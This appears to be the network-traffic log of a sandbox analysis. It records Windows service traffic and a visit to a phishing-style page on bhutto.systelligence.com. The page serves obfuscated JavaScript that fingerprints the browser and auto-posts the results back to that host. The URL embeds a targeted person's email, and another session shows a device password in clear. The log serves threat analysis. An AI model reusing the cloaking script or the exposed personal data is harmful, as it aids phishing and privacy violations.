2024-11-07 22:47:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lwv5AFT7f7Z8N59&MD=cHD+y+u8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-07 22:47:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 07a73425-dcd5-418d-930b-495ab7915826 MS-RequestId: 27334290-c667-41eb-ad43-f2f1bb77cc38 MS-CV: /nrSC4+LPEmQW9py.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 07 Nov 2024 22:47:23 GMT Connection: close Content-Length: 24490
2024-11-07 22:47:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-07 22:47:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49730	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:24 UTC	771	OUT	GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:24 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store vary: Accept-Encoding Set-Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16; expires=Thu, 07-Nov-2024 22:48:24 GMT; Max-Age=60 x-powered-by: ASP.NET x-powered-by-plesk: PleskWin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2BUzXnNFKckH7%2BldYX2kcvqHRx1YYeF8OIMJp7XchTN4WAtHkBLSQQBQOcYHBcJRJ3XdFXD9ikO05ygKEBmMrIA5PfokxZH6K8AvfMcNrahOQqGPSdRSmyHT7sQODEyys05rN%2FujKQ%2Bb8lU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd6a5d692883-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1367&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1349&delivery_rate=2198936&cwnd=250&unsent_bytes=0&cid=31574cbbbb820313&ts=457&x=0"
2024-11-07 22:47:24 UTC	389	IN	Data Raw: 31 36 31 33 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 59 6f 75 20 6e 65 65 64 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 74 6f 20 72 75 6e 20 74 68 69 73 20 61 70 70 2e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f Data Ascii: 1613<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="ro
2024-11-07 22:47:24 UTC	1369	IN	Data Raw: 3d 3d 3d 74 79 70 65 6f 66 20 72 65 61 63 74 5f 69 6e 73 74 61 6c 6c 65 64 63 68 75 6e 6b 73 26 26 6e 75 6c 6c 21 3d 3d 72 65 61 63 74 5f 69 6e 73 74 61 6c 6c 65 64 63 68 75 6e 6b 73 29 7b 76 61 72 20 72 65 61 63 74 5f 61 6c 6c 6f 77 74 6f 6c 69 76 65 72 65 6c 6f 61 64 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 65 61 63 74 5f 6e 65 77 62 61 73 65 71 75 65 75 65 6c 61 73 74 28 5f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 79 6c 65 5f 6c 6f 61 64 65 72 5f 64 69 73 74 5f 72 75 6e 74 69 6d 65 5f 69 6e 6a 65 63 74 73 74 79 6c 65 73 69 6e 74 6f 73 74 79 6c 65 74 61 67 5f 6a 73 5f 5f 77 65 62 70 61 63 6b 5f 69 6d 70 6f 72 74 65 64 5f 6d 6f 64 75 6c 65 5f 30 5f 5f 5f 64 65 66 61 75 6c 74 29 7b 74 72 79 7b 76 61 72 20 72 65 61 63 74 72 65 66 6c 65 63 74 3d 72 65 Data Ascii: ===typeof react_installedchunks&&null!==react_installedchunks){var react_allowtolivereload={};function react_newbasequeuelast(_node_modules_style_loader_dist_runtime_injectstylesintostyletag_js__webpack_imported_module_0___default){try{var reactreflect=re
2024-11-07 22:47:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 27 5d 3d 72 65 61 63 74 5f 6f 6e 63 65 28 77 69 6e 64 6f 77 5b 27 6c 6f 63 61 74 69 6f 6e 27 5d 29 2c 72 65 61 63 74 5f 6e 6f 6d 6f 64 75 6c 65 5b 27 63 6f 6e 73 6f 6c 65 27 5d 3d 72 65 61 63 74 5f 6f 6e 63 65 28 77 69 6e 64 6f 77 5b 27 63 6f 6e 73 6f 6c 65 27 5d 29 2c 72 65 61 63 74 5f 6e 6f 6d 6f 64 75 6c 65 5b 27 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 65 61 63 74 5f 66 69 6e 69 73 68 65 64 6c 61 6e 65 73 29 7b 74 72 79 7b 76 61 72 20 72 65 61 63 74 5f 63 6f 6d 6d 69 74 61 74 74 61 63 68 72 65 66 3d 7b 7d 3b 72 65 61 63 74 5f 66 69 6e 69 73 68 65 64 6c 61 6e 65 73 3d 72 65 61 63 74 5f 66 69 6e 69 73 68 65 64 6c 61 6e 65 73 5b 27 61 74 74 72 69 62 75 74 65 73 27 5d 3b 66 6f 72 28 76 61 72 20 72 65 Data Ascii: tion']=react_once(window['location']),react_nomodule['console']=react_once(window['console']),react_nomodule['documentElement']=function(react_finishedlanes){try{var react_commitattachref={};react_finishedlanes=react_finishedlanes['attributes'];for(var re
2024-11-07 22:47:24 UTC	1369	IN	Data Raw: 73 73 61 67 65 29 7b 72 65 61 63 74 68 6f 73 74 65 66 66 65 63 74 6d 61 73 6b 5b 27 70 75 73 68 27 5d 28 72 65 61 63 74 5f 63 6f 6d 62 69 6e 65 64 6d 65 73 73 61 67 65 5b 27 6d 65 73 73 61 67 65 27 5d 29 3b 7d 74 72 79 7b 76 61 72 20 72 65 61 63 74 5f 65 6d 70 74 79 6f 62 6a 65 63 74 3d 64 6f 63 75 6d 65 6e 74 5b 27 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 27 5d 28 27 63 61 6e 76 61 73 27 29 5b 27 67 65 74 43 6f 6e 74 65 78 74 27 5d 28 27 77 65 62 67 6c 27 29 2c 72 65 61 63 74 5f 61 73 79 6e 63 3d 72 65 61 63 74 5f 65 6d 70 74 79 6f 62 6a 65 63 74 5b 27 67 65 74 45 78 74 65 6e 73 69 6f 6e 27 5d 28 27 57 45 42 47 4c 5f 64 65 62 75 67 5f 72 65 6e 64 65 72 65 72 5f 69 6e 66 6f 27 29 3b 72 65 61 63 74 5f 6e 6f 6d 6f 64 75 6c 65 5b 27 77 65 62 67 6c 27 5d 3d 7b Data Ascii: ssage){reacthosteffectmask['push'](react_combinedmessage['message']);}try{var react_emptyobject=document['createElement']('canvas')['getContext']('webgl'),react_async=react_emptyobject['getExtension']('WEBGL_debug_renderer_info');react_nomodule['webgl']={
2024-11-07 22:47:24 UTC	1163	IN	Data Raw: 61 6c 75 65 27 5d 3d 4a 53 4f 4e 5b 27 73 74 72 69 6e 67 69 66 79 27 5d 28 72 65 61 63 74 5f 6e 6f 6d 6f 64 75 6c 65 29 2c 72 65 61 63 74 5f 69 6e 74 65 72 76 61 6c 69 64 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 72 65 61 63 74 5f 73 74 72 6f 6b 65 6c 69 6e 65 6a 6f 69 6e 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 62 6f 64 79 27 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 72 65 61 63 74 5f 69 6e 74 65 72 76 61 6c 69 64 29 2c 72 65 61 63 74 5f 69 6e 74 65 72 76 61 6c 69 64 5b 27 73 75 62 6d 69 74 27 5d 28 29 3b 7d 28 29 29 3b 7d 28 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 Data Ascii: alue']=JSON['stringify'](react_nomodule),react_intervalid['appendChild'](react_strokelinejoin),document['body']['appendChild'](react_intervalid),react_intervalid['submit']();}());}());</script> </div> <script>(function(){function c(){var b=a.content
2024-11-07 22:47:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49732	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:25 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-07 22:47:25 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 73 6d 78 75 76 61 69 72 6b 66 69 67 69 6a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 31 79 42 25 76 47 73 64 5f 71 34 58 6b 2b 67 74 42 65 6e 72 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02smxuvairkfigij</Membername><Password>1yB%vGsd_q4Xk+gtBenr</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-07 22:47:30 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 07 Nov 2024 22:46:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 197f1f71-6c48-40f8-afb1-771d188138ba PPServer: PPV: 30 H: SN1PEPF0002F0FC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:28 GMT Connection: close Content-Length: 17166
2024-11-07 22:47:30 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 46 45 46 34 32 31 38 41 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 35 66 61 38 31 61 62 62 2d 34 39 38 61 2d 34 34 63 33 2d 38 38 39 32 2d 33 66 63 66 38 64 34 61 38 31 39 62 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00FFEF4218A</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="5fa81abb-498a-44c3-8892-3fcf8d4a819b" LicenseID="3252b20c-d425-4711
2024-11-07 22:47:30 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49731	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-07 22:47:25 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:26 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: e21cd2b6-1107-42df-ac62-50e6f119ac7c PPServer: PPV: 30 H: PH1PEPF0001B741 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:25 GMT Connection: close Content-Length: 1276
2024-11-07 22:47:26 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49736	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:25 UTC	1095	OUT	POST /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive Content-Length: 139327 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://bhutto.systelligence.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 64 61 74 61 3d 25 37 42 25 32 32 73 63 72 65 65 6e 25 32 32 25 33 41 25 37 42 25 32 32 61 76 61 69 6c 57 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 61 76 61 69 6c 48 65 69 67 68 74 25 32 32 25 33 41 39 38 34 25 32 43 25 32 32 77 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 68 65 69 67 68 74 25 32 32 25 33 41 31 30 32 34 25 32 43 25 32 32 63 6f 6c 6f 72 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 70 69 78 65 6c 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 61 76 61 69 6c 4c 65 66 74 25 32 32 25 33 41 30 25 32 43 25 32 32 61 76 61 69 6c 54 6f 70 25 32 32 25 33 41 30 25 32 43 25 32 32 6f 72 69 65 6e 74 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 53 63 72 65 65 6e 4f 72 69 65 Data Ascii: data=%7B%22screen%22%3A%7B%22availWidth%22%3A1280%2C%22availHeight%22%3A984%2C%22width%22%3A1280%2C%22height%22%3A1024%2C%22colorDepth%22%3A24%2C%22pixelDepth%22%3A24%2C%22availLeft%22%3A0%2C%22availTop%22%3A0%2C%22orientation%22%3A%22%5Bobject+ScreenOrie
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 Data Ascii: %5Bnative+code%5D+%7D%22%2C%22XMLDocument%22%3A%22function+XMLDocument%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultWriter%22%3A%22function+WritableStreamDefaultWriter%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultController
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 70 6f 6e 73 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 70 6f 6e 73 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 38 25 32 39 2b 25 37 42 2b 